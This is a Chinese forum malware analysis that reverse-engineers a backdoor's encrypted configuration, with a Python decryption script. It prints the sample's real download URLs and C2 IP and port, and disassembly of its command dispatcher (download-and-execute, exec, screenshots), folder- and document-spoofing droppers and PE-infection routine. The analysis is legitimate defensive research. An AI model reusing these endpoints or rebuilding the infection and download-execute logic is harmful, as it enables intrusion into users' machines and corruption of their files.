.text:00401AB3 @add_over:                              ; CODE XREF: Decrypt_read_data+74j
.text:00401AB3                 and     eax, 0FFFFh
.text:00401AB8                 cmp     eax, edx
.text:00401ABA                 jz      short @data_is_right
.text:00401ABC
.text:00401ABC @return_zero:                           ; CODE XREF: Decrypt_read_data+15j
.text:00401ABC                                         ; Decrypt_read_data+5Fj
.text:00401ABC                 mov     [ebp+first_dword_after_decrypt], 0
.text:00401AC3                 jmp     short @retn
.text:00401AC5 ; ---------------------------------------------------------------------------
.text:00401AC5
.text:00401AC5 @data_is_right:                         ; CODE XREF: Decrypt_read_data+87j
.text:00401AC5                 mov     ecx, [ebp+first_dword_after_decrypt]
.text:00401AC8                 mov     edi, [ebp+arg_0_read_data]
.text:00401ACB                 mov     esi, edi
.text:00401ACD                 add     esi, 6
.text:00401AD0                 rep movsb
.text:00401AD2
.text:00401AD2 @retn:                                  ; CODE XREF: Decrypt_read_data+90j
.text:00401AD2                 mov     eax, [ebp+first_dword_after_decrypt]
.text:00401AD5                 pop     edi
.text:00401AD6                 pop     edx
.text:00401AD7                 pop     ecx
.text:00401AD8                 pop     ebx
.text:00401AD9                 leave
.text:00401ADA                 retn    8
.text:00401ADA Decrypt_read_data endp

写个脚本来模拟其解密过程,顺便监控其下载的配置文件,
写个脚本也不用每次都调试,直接运行脚本就可以获取其解密后配置文件:

代码:
import re, struct, os, sys

def Decrypt_Config(srcData, hOutFile):
    currIndex = 0

    data_len = len(srcData)
    ecx = data_len - 0xa

    p = re.compile(r'########(.*)',re.DOTALL)

    m = p.search(srcData)
    decrypt_data = []
    if m:
        found_offset = m.start(1)

        ecx = ecx - found_offset
        ecx = ecx >> 1
        #print "ecx %08x" % ecx
        while ecx != 0:
            ah = srcData[found_offset]
            al = srcData[found_offset+1]
            eax = (ord(ah) << 0x8) | ord(al)
            #print "eax %08x" % eax
            eax = eax - 0x4141
            edx = eax
            eax = eax >> 4
            eax = edx | eax
            #print "after or eax %08x" % eax
            decrypt_data.append(chr(eax & 0xff))
            found_offset = found_offset+2
            ecx = ecx - 1
        decrypt_data_ = "".join(decrypt_data)
        first_dword = struct.unpack('I',decrypt_data_[0:4])[0]
        if first_dword <= data_len:
            check_value = struct.unpack('H',decrypt_data_[4:6])[0]
            print "check_value %08x" % check_value
            ecx = first_dword
            eax = 0
            esi = decrypt_data_[6:]
            cur_offset = 0
            while ecx >= 4:
                eax = eax + struct.unpack('I',esi[cur_offset:cur_offset + 4])[0]
                cur_offset = cur_offset + 4
                ecx = ecx -4
            eax = eax & 0xffff
            if eax == check_value:
                real_data = decrypt_data_[6:first_dword+6]
                hOutFile.write(real_data)

    else:
        
        print "no content found"
        

if __name__=="__main__":
    if len(sys.argv) != 2:
        print "usage: %pro download_config"
        os.sys.exit(1)
    srcFile = os.sys.argv[1]
    hSrc = file(srcFile, "rb")
    data = hSrc.read()
    hSrc.close()
    dstFile = "%s.decrypt.v" % srcFile
    hDstFile = file(dstFile, "wb")
    Decrypt_Config(data, hDstFile)
    hDstFile.close()

大小0x5f

$ ==>    >41 10 49 7D 44 4E 46 55  AI}DNFU
$+8      >70 64 61 74 65 30 33 30  pdate030
$+10     >38 2E 65 78 65 00 68 74  8.exe.ht
$+18     >74 70 3A 2F 2F 77 77 77  tp://www
$+20     >2E 31 64 69 73 6B 2E 63  .1disk.c
$+28     >6E 2F 43 6F 6E 74 65 6E  n/Conten
$+30     >74 50 61 6E 65 2E 61 73  tPane.as
$+38     >70 78 3F 64 6F 77 6E 3D  px?down=
$+40     >6F 6B 26 66 69 6C 65 70  ok&filep
$+48     >61 74 68 3D 74 65 73 74  ath=test
$+50     >37 37 35 38 25 32 66 44  7758%2fD
$+58     >4E 46 2E 64 61 74 00     NF.dat.



解密后的数据,
的结构为:



struct download_config
{
+0 dword frist_dword 下载的文件大小

+4 byte byte_4取决于byte_5 

+5 byte byte_5
 
+len(filename) 之后的下载连接
}

如果byte_5是“:”,分两种情况,

byte_4是 “%” ,则下到系统目录
byte_4不是 “%” 则会判断文件是否存在,如果不存在,直接下载到当前目录

如果byte_5不是“:”,从偏移为4 开始作为文件名的一部分下载到临时目录






接下来从

http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358
http://hi.baidu.com/test6345/home(下载下来的data并没有########标志,估计是作者已经把配置文件给删了)
http://www.fnsorfnfgsajr.com/test.htm(连接已经失效)

下载配置数据,猜测下载下来的数据很可能是一样的,因为首先是从第一个连接去下载如果下载成功则不会去第二个连接下载,以此类推

从http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358下载的数据为:
{

window.modData = {"view":{"id":"10052358","gid":"135189","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########AKAAAAAAHAHAAAAAAAAAHAHAAAAAAAAA","weekday":"1","show_time":"2010-11-21 19:46:00","flower":"0","egg":"0","ping":"0","click":"4223644","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/test4862\/diary\/item\/10052358.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290340014"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"catalog":[{"id":"135189","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/test4862\/diary\/group\/135189","count":"1"},{"id":"135190","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/test4862\/diary\/group\/135190","count":"0"},{"id":"135191","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/test4862\/diary\/group\/135191","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\ufe4f\u53f6\u843d\u65e0\u58f0\u3001","face":"http:\/\/p6.u.51img1.com\/63\/63\/236527861_50.gif?v=20111013151050","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"236527861","_user":"aweiy_z","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"4"},"morediary":[],"current":{"gid":"135189","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/test4862\/diary\/group\/135189"}};

}

同样解密算法
返回的大小 0x0a

$ ==>    >00 00 00 00 70 70 00 00  ....pp..
$+8      >00 00                    ..

$ ==>    00900020    00 00 00 00 70 70 00 00  ....pp..
$+8      00900028    00 00 70 70 00 00 00 00  ..pp....
$+10     00900030    EF 37 66 A3 3B FF FF EF  ?f?
$+18     00900038    33 7E 7F 3A E6 FF FF FF  3~:?
$+20     00900040    EE FF FF FF FF FF FF EF  ?
$+28     00900048    EF 37 BE 66 EF EF EF EF  ?緁镲镲
$+30     00900050    66 FF EF EF EF FA F6 FF  f镲嵇?
$+38     00900058    EF EF 32 BA 2A FF FF FF  镲2?
$+40     00900060    FF FF EF 33 F7 32 73 FF  ??s
$+48     00900068    EF EF 33 72 36 E7 B2 FF  镲3r6绮
$+50     00900070    EF FF EF 27 33 5F 73 73  ??3_ss
$+58     00900078    FF EF EF 37 A3 5F 2E EE  镲7.
$+60     00900080    6F EF EF EF EF 27 33 5F  o镲镲'3_
$+68     00900088    F7 FF EF EF EF 73        ?镲飐镲



struct confif_data_for_backdoor
{
+0 dword 判断是否需要从其他链接中下载配置文件 如果为0 则表示需要 赋值给00401854
+4 word 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为  0040184c初始为0 或得结果为70700000
但是解密返回来的大小为0xa 如果这个是个dword明显超出了 我们回头看看其解密过程的末尾
.text:00401AC5                 mov     ecx, [ebp+first_dword_after_decrypt]
.text:00401AC8                 mov     edi, [ebp+arg_0_read_data]
.text:00401ACB                 mov     esi, edi
.text:00401ACD                 add     esi, 6
.text:00401AD0                 rep movsb
显然它把解密后的数据从偏移为6 开始向前覆盖了 所以偏移为+a 的word就是偏移为4的word 即0x7070
}

看看控制的相关代码

代码:
text:004050CD                   execute_command_accordingto_dword_flag proc near
.text:004050CD                                                           ; CODE XREF: net_activity+102p
.text:004050CD                                                           ; net1+1C4p
.text:004050CD
.text:004050CD                   arg_0_confif_data_for_backdoor_jia_c= dword ptr  8
.text:004050CD                   arg_4_0x1000    = dword ptr  0Ch
.text:004050CD
.text:004050CD 55                                push    ebp
.text:004050CE 8B EC                             mov     ebp, esp
.text:004050D0                   ; nop code
.text:004050D7 B8 48 18 40 00                    mov     eax, 401848h
.text:004050DC F7 00 00 00 00 10                 test    dword ptr [eax], 10000000h
.text:004050E2 74 0D                             jz      short loc_4050F1
.text:004050E4 FF 75 0C                          push    [ebp+arg_4_0x1000]
.text:004050E7 FF 75 08                          push    [ebp+arg_0_confif_data_for_backdoor_jia_c]
.text:004050EA E8 2A 0E 00 00                    call    Download_file_execute
.text:004050EF EB 21                             jmp     short loc_405112
.text:004050F1                   ; nop code
.text:004050F8 B8 48 18 40 00                    mov     eax, offset unk_401848
.text:004050FD F7 00 00 00 00 20                 test    dword ptr [eax], 20000000h
.text:00405103 74 0D                             jz      short loc_405112
.text:00405105 FF 75 0C                          push    [ebp+arg_4_0x1000]
.text:00405108 FF 75 08                          push    [ebp+arg_0_confif_data_for_backdoor_jia_c]
.text:0040510B E8 17 1B 00 00                    call    CreateFile_Exuecute
.text:00405110 EB 00                             jmp     short $+2
.text:00405112                   ; nop code
.text:00405119 B8 48 18 40 00                    mov     eax, offset unk_401848
.text:0040511E F7 00 00 00 00 40                 test    dword ptr [eax], 40000000h
.text:00405124 74 05                             jz      short locret_40512B
.text:00405126 E8 47 E6 FF FF                    call    Infect_with_flag__
.text:0040512B
.text:0040512B                   locret_40512B:                          ; CODE XREF: execute_command_accordingto_dword_flag+57j
.text:0040512B C9                                leave
.text:0040512C C2 08 00                          retn   
if (control_flag  & 0x10000000)
  下载执行,其中连接由confif_data_for_backdoor+c 指定
  goto infect

if (control_flag  & 0x20000000)
  如果有% 则直接用系统盘替换%
  否则,在系统目录下创建文件 文件名由confif_data_for_backdoor+c 指定
  goto infect

infect:


if (control_flag  & 0x40000000)
  if (control_flag  & 0x00000001)
  {
    40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件

    40000081  什么也不做
    40000021 写入与文件夹同名的exe 保证图标与文件夹图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM 
    40000041 写入与doc同名的exe 保证图标与doc文档图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM 

    40000009 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件

    40000011 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
  }

  if (control_flag  & 0x00000002)
    枚举各个盘符只感染如下文件
    'RarExt.dll',0       
    'ppsap.exe',0
    'procdll.dll',0
    'thunders.dll',0
    'Storm.dll',0


前面说过了

confif_data_for_backdoor的第一个dword决定了是否继续下载配置文件 我们下载下来的dword为0 其会继续下载,

http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625

下载的数据为:
{
window.modData = {"view":{"id":"10047625","gid":"133252","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########DLAAAAAAFFCENOKOHDJLHAHAEAAABPABAAGACFDKFMFAHCGPGHHCGBGNCAEGGJGMGFHDFMFEGFGOGDGFGOHEFMFBFBFMENFBFBFCGFHDFMFBFBENHFHDGJGDCOGFHIGFAA","weekday":"1","show_time":"2010-11-21 16:25:00","flower":"0","egg":"0","ping":"0","click":"4216665","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/lichao3596\/diary\/item\/10047625.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290327905"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"catalog":[{"id":"133252","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/lichao3596\/diary\/group\/133252","count":"1"},{"id":"133253","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/lichao3596\/diary\/group\/133253","count":"0"},{"id":"133254","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/lichao3596\/diary\/group\/133254","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u71a0","face":"http:\/\/p3.u.51img1.com\/39\/75\/yilin261010107_50.gif?v=20090528094841&cool=0","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"yilin261010107","_user":"yilin261010107","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"Amu2730","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"amu2730","_user":"amu2730","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"5"},"morediary":[],"current":{"gid":"133252","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/lichao3596\/diary\/group\/133252"}};
}
解密后的数据为:
返回的大小为0x3b

$ ==>  >DE AE 73 9B 70 70 40 00  蕻s沺p@.
$+8    >1F 01 00 60 25 3A 5C 50  .`%:\P
$+10   >72 6F 67 72 61 6D 20 46  rogram F
$+18   >69 6C 65 73 5C 54 65 6E  iles\Ten
$+20   >63 65 6E 74 5C 51 51 5C  cent\QQ\
$+28   >4D 51 51 52 65 73 5C 51  MQQRes\Q
$+30   >51 4D 75 73 69 63 2E 65  QMusic.e
$+38   >78 65 00 63 2E 65 78 65  xe.c.exe
$+40   >00 EF 37 66 A3 3B FF FF  .?f?
$+48   >EF 33 7E 7F 3A E6 FF FF  ?~:?
$+50   >FF EE FF FF FF FF FF FF  ?

这个结构体和前面的结构体解析是一样的 不过这里的第一个dword 不是作为标志了 而是一个ip地址,用来连接执行后门功能的

其中
00401850指向一个sockaddr


struct confif_data_for_backdoor
{
+0 dword ip_address 赋值给00401854
+4 word  port 赋值给00401852
+6 word  扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为  0040184c初始为0 或得结果为6000011F
}
根据前面的分析 可知道该control_flag 执行的功能为:


创建系统盘:\Program Files\Tencent\QQ\MQQRes\QQMusic.exe  
  
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件

40000008 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件

40000010 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}

枚举各个盘符只感染如下文件
.text:00401B71 52 61 72 45 78 74+String1         db 'RarExt.dll',0       ; DATA XREF: infect_pe+CAo
.text:00401B7C 70 70 73 61 70 2E+aPpsap_exe_0    db 'ppsap.exe',0
.text:00401B86 70 72 6F 63 64 6C+aProcdll_dll    db 'procdll.dll',0
.text:00401B92 74 68 75 6E 64 65+aThunders_dll   db 'thunders.dll',0
.text:00401B9F 53 74 6F 72 6D 2E+aStorm_dll      db 'Storm.dll',0



由配置文件可知其连接的ip为:

222.174.115.155 端口为0x7070


执行后门功能的主要线程地址为:

0040512f
后门的功能包括:

获取系统网络信息
下载执行文件
感染pe文件
获取进程列表
杀进程
删除和拷贝文件
截屏
更新ip地址和端口
还会记录计算机名等其他信息到注册表
等等
代码:
代码:
.text:0040512F sub_40512F      proc near               ; DATA XREF: @net_activity_start+4Do
.text:0040512F
.text:0040512F read_size       = dword ptr -5F4h
.text:0040512F fromlen         = dword ptr -5F0h
.text:0040512F from            = sockaddr ptr -5ECh
.text:0040512F buf             = byte ptr -5DCh
.text:0040512F s               = dword ptr  8
.text:0040512F
.text:0040512F                 push    ebp
.text:00405130                 mov     ebp, esp
.text:00405132                 add     esp, 0FFFFFA0Ch
.text:00405138                 mov     [ebp+fromlen], 10h
.text:00405142
.text:00405142 @recv:                                  ; CODE XREF: sub_40512F+6Ej
.text:00405142                                         ; sub_40512F+DCj ...
.text:00405142                 lea     eax, [ebp+fromlen]
.text:00405148                 push    eax             ; fromlen
.text:00405149                 lea     eax, [ebp+from]
.text:0040514F                 push    eax             ; from
.text:00405150                 push    0               ; flags
.text:00405152                 push    4B0h            ; len
.text:00405157                 lea     eax, [ebp+buf]
.text:0040515D                 push    eax             ; buf
.text:0040515E                 push    [ebp+s]         ; s
.text:00405161 ; nop code
.text:00405169                 call    recvfrom
.text:0040516F                 test    eax, eax        ; eax = number of bytes to read
.text:00405171                 jz      @reand_data_is_zero_ro_toobig
.text:00405177                 cmp     eax, 4B0h
.text:0040517C                 ja      @reand_data_is_zero_ro_toobig
.text:00405182                 mov     [ebp+read_size], eax
.text:00405188 ; nop code
.text:0040518F                 mov     eax, offset sockaddrr
.text:00405194                 mov     eax, [eax+4]
.text:00405197                 cmp     eax, dword ptr [ebp+from.sa_data+2]
.text:0040519D                 jnz     short @recv
.text:0040519F                 xor     eax, eax
.text:004051A1                 mov     al, [ebp+buf]
.text:004051A7                 cmp     eax, 4
.text:004051AA                 jz      short @first_byte_is_4
.text:004051AC                 cmp     eax, 3
.text:004051AF                 jz      short loc_405223
.text:004051B1                 cmp     eax, 1
.text:004051B4                 jz      @first_byte_is_1
.text:004051BA                 cmp     eax, 9
.text:004051BD                 jz      @first_byte_is_9
.text:004051C3                 cmp     eax, 0Ah
.text:004051C6                 jz      @first_byte_is_a
.text:004051CC                 cmp     eax, 0Ch
.text:004051CF                 jz      @first_byte_is_c
.text:004051D5                 cmp     eax, 6
.text:004051D8                 jz      @first_byte_is_6
.text:004051DE                 cmp     eax, 0Dh
.text:004051E1                 jz      @First_byte_is_D
.text:004051E7                 cmp     eax, 0Eh
.text:004051EA                 jz      @first_byte_is_e
.text:004051F0                 cmp     eax, 0Fh
.text:004051F3                 jz      @first_byte_is_f
.text:004051F9                 cmp     eax, 10h
.text:004051FC                 jz      @first_byte_is_10
.text:00405202                 cmp     eax, 11h
.text:00405205                 jz      @first_byte_is_11
.text:0040520B                 jmp     @recv
.text:00405210 ; ---------------------------------------------------------------------------
.text:00405210
.text:00405210 @first_byte_is_4:                       ; CODE XREF: sub_40512F+7Bj
.text:00405210                 push    8
.text:00405212                 lea     eax, [ebp+buf+1]
.text:00405218                 push    eax
.text:00405219                 call    Get_mcname_in_reg
.text:0040521E                 jmp     @recv
.text:00405223 ; ---------------------------------------------------------------------------
.text:00405223
.text:00405223 loc_405223:                             ; CODE XREF: sub_40512F+80j
.text:00405223                 mov     eax, [ebp+read_size]
.text:00405229                 dec     eax
.text:0040522A                 push    eax
.text:0040522B                 lea     eax, [ebp+buf+1]
.text:00405231                 push    eax
.text:00405232                 call    Set_mcname_in_reg
.text:00405237                 jmp     @recv
.text:0040523C ; nop code
.text:00405243                 mov     eax, offset unk_40188C
.text:00405248                 cmp     dword ptr [eax], 0
.text:0040524B                 jnz     short loc_405273
.text:0040524D                 mov     eax, dword ptr [ebp+buf+5]
.text:00405253                 push    eax
.text:00405254                 mov     eax, dword ptr [ebp+buf+1]
.text:0040525A                 test    eax, eax
.text:0040525C                 jnz     short loc_40526D
.text:0040525E ; nop code
.text:00405265                 mov     eax, offset sockaddrr
.text:0040526A                 mov     eax, [eax+4]
.text:0040526D
.text:0040526D loc_40526D:                             ; CODE XREF: sub_40512F+12Dj
.text:0040526D                 push    eax
.text:0040526E                 call    backdoor
.text:00405273
.text:00405273 loc_405273:                             ; CODE XREF: sub_40512F+11Cj
.text:00405273                 jmp     @recv
.text:00405278 ; ---------------------------------------------------------------------------
.text:00405278
.text:00405278 @first_byte_is_9:                       ; CODE XREF: sub_40512F+8Ej
.text:00405278                 call    query_data_in_reg_send_out
.text:0040527D                 jmp     @recv
.text:00405282 ; ---------------------------------------------------------------------------
.text:00405282
.text:00405282 @first_byte_is_a:                       ; CODE XREF: sub_40512F+97j
.text:00405282                 mov     eax, [ebp+read_size]
.text:00405288                 dec     eax
.text:00405289                 push    eax
.text:0040528A                 lea     eax, [ebp+buf+1]
.text:00405290                 push    eax
.text:00405291                 call    Save_recv_data_to_reg
.text:00405296                 jmp     @recv
.text:0040529B ; ---------------------------------------------------------------------------
.text:0040529B
.text:0040529B @first_byte_is_c:                       ; CODE XREF: sub_40512F+A0j
.text:0040529B                 call    Send_sysinfo
.text:004052A0                 jmp     @recv
.text:004052A5 ; ---------------------------------------------------------------------------
.text:004052A5
.text:004052A5 @first_byte_is_6:                       ; CODE XREF: sub_40512F+A9j
.text:004052A5                 call    Close_Socket
.text:004052AA                 jmp     @recv
.text:004052AF ; ---------------------------------------------------------------------------
.text:004052AF
.text:004052AF @First_byte_is_D:                       ; CODE XREF: sub_40512F+B2j
.text:004052AF                 push    3E8h
.text:004052B4                 lea     eax, [ebp+buf+1]
.text:004052BA                 push    eax
.text:004052BB                 call    Download_File_Execute_
.text:004052C0                 jmp     @recv
.text:004052C5 ; ---------------------------------------------------------------------------
.text:004052C5
.text:004052C5 @first_byte_is_e:                       ; CODE XREF: sub_40512F+BBj
.text:004052C5                 lea     eax, [ebp+buf+1]
.text:004052CB                 push    eax
.text:004052CC                 call    Exec
.text:004052D1                 jmp     @recv
.text:004052D6 ; ---------------------------------------------------------------------------
.text:004052D6
.text:004052D6 @first_byte_is_f:                       ; CODE XREF: sub_40512F+C4j
.text:004052D6                 push    3E8h
.text:004052DB                 lea     eax, [ebp+buf+1]
.text:004052E1                 push    eax
.text:004052E2                 call    Download_File_Execute
.text:004052E7                 jmp     @recv
.text:004052EC ; ---------------------------------------------------------------------------
.text:004052EC
.text:004052EC @first_byte_is_10:                      ; CODE XREF: sub_40512F+CDj
.text:004052EC                 lea     eax, [ebp+buf+1]
.text:004052F2                 push    eax
.text:004052F3                 call    Delete_FILE_IN_TMP
.text:004052F8                 jmp     @recv
.text:004052FD ; ---------------------------------------------------------------------------
.text:004052FD
.text:004052FD @first_byte_is_11:                      ; CODE XREF: sub_40512F+D6j
.text:004052FD                 push    3E8h
.text:00405302                 lea     eax, [ebp+buf+1]
.text:00405308                 push    eax
.text:00405309                 call    Download_File
.text:0040530E                 jmp     @recv
.text:00405313 ; nop code
.text:0040531A                 mov     eax, offset unk_401860
.text:0040531F                 cmp     dword ptr [eax], 0FFFFFFFFh
.text:00405322                 jz      short @retn
.text:00405324                 push    3E8h            ; dwMilliseconds
.text:00405329 ; nop code
.text:00405331 ; ---------------------------------------------------------------------------
.text:00405331                 call    Sleep
.text:00405337                 jmp     @recv
.text:0040533C ; nop code
.text:00405343                 mov     eax, 401888h
.text:00405348                 mov     dword ptr [eax], 0
.text:0040534E                 leave
.text:0040534F                 retn    4
.text:0040534F sub_40512F      endp

 

 
此帖于 2012-05-03 01:10:33 被 yuansunxue 最后编辑
 
回复时引用此帖 返回顶端
 


普通会员
普通会员

资 料:
注册日期: May 2008
帖子: 115 yuansunxue 品行端正
精华: 4
现金: 327 Kx
致谢数: 0
获感谢文章数:2
获会员感谢数:2
2 未读 2012-05-02, 23:43:13 默认
帅哥 yuansunxue 当前在线

最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:
代码:
.text:00401FCE Check_Infect_Or_not proc near           ; CODE XREF: infect_pe+124p
.text:00401FCE                                         ; Infect_with_flag+153p ...
.text:00401FCE
.text:00401FCE Section_TABLE   = S_PE_SECTION ptr -1B8h
.text:00401FCE PEHEADER        = S_PE_HEADER ptr -190h
.text:00401FCE MZHeader        = S_MZ_HEADER ptr -98h
.text:00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text:00401FCE hfile           = dword ptr -8
.text:00401FCE is_infected     = dword ptr -4
.text:00401FCE arg_0_full_file_path= dword ptr  8
.text:00401FCE arg_4_patch_call_num= dword ptr  0Ch
.text:00401FCE
.text:00401FCE                 push    ebp
.text:00401FCF                 mov     ebp, esp
.text:00401FD1                 add     esp, 0FFFFFE48h
.text:00401FD7                 push    ebx
.text:00401FD8                 push    ecx
.text:00401FD9                 push    edx
.text:00401FDA                 push    edi
.text:00401FDB                 push    esi
.text:00401FDC                 mov     [ebp+is_infected], 1
.text:00401FE3                 mov     eax, 0FFFFh
.text:00401FE8                 and     [ebp+arg_4_patch_call_num], eax

    打开文件 判断是否是pe文件
.text:00401FEB                 push    0
.text:00401FED                 push    80h
.text:00401FF2                 push    3
.text:00401FF4                 push    0
.text:00401FF6                 push    3
.text:00401FF8                 push    80000000h
.text:00401FFD                 push    [ebp+arg_0_full_file_path]
.text:00402000 ; nop code
.text:00402008 ; ---------------------------------------------------------------------------
.text:00402008                 call    CreateFileA
.text:0040200E                 cmp     eax, 0FFFFFFFFh
.text:00402011                 jz      loc_402118
.text:00402017                 mov     [ebp+hfile], eax
.text:0040201A                 push    0
.text:0040201C                 push    40h
.text:0040201E                 lea     eax, [ebp+MZHeader]
.text:00402024                 push    eax
.text:00402025                 push    [ebp+hfile]
.text:00402028                 call    Read_fILE
.text:0040202D                 test    eax, eax
.text:0040202F                 jz      @closehandle
.text:00402035                 cmp     word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:0040203E                 jnz     @closehandle
.text:00402044                 push    [ebp+MZHeader.new_hdr_offset]
.text:00402047                 push    0F8h
.text:0040204C                 lea     eax, [ebp+PEHEADER]
.text:00402052                 push    eax
.text:00402053                 push    [ebp+hfile]
.text:00402056                 call    Read_fILE
.text:0040205B                 test    eax, eax
.text:0040205D                 jz      @closehandle
.text:00402063                 cmp     dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:0040206D                 jnz     @closehandle
.text:00402073                 xor     ecx, ecx
.text:00402075                 mov     ebx, [ebp+MZHeader.new_hdr_offset]
.text:00402078                 add     ebx, 0F8h


    节的数目不能大于0x10 
.text:0040207E                 movzx   ecx, [ebp+PEHEADER.number_of_Sections]
.text:00402085                 cmp     ecx, 10h
.text:00402088                 ja      short @closehandle


.text:0040208A                 mov     [ebp+is_infected], 0


    读取每个节的头0x50 个bytes 进行解密 检查
.text:00402091
.text:00402091 @loop_section_check:                    ; CODE XREF: Check_Infect_Or_not+130j
.text:00402091                 test    ecx, ecx
.text:00402093                 jz      short @closehandle
.text:00402095                 push    ebx
.text:00402096                 push    28h
.text:00402098                 lea     eax, [ebp+Section_TABLE]
.text:0040209E                 push    eax
.text:0040209F                 push    [ebp+hfile]
.text:004020A2                 call    Read_fILE
.text:004020A7                 test    eax, eax
.text:004020A9                 jz      short @closehandle
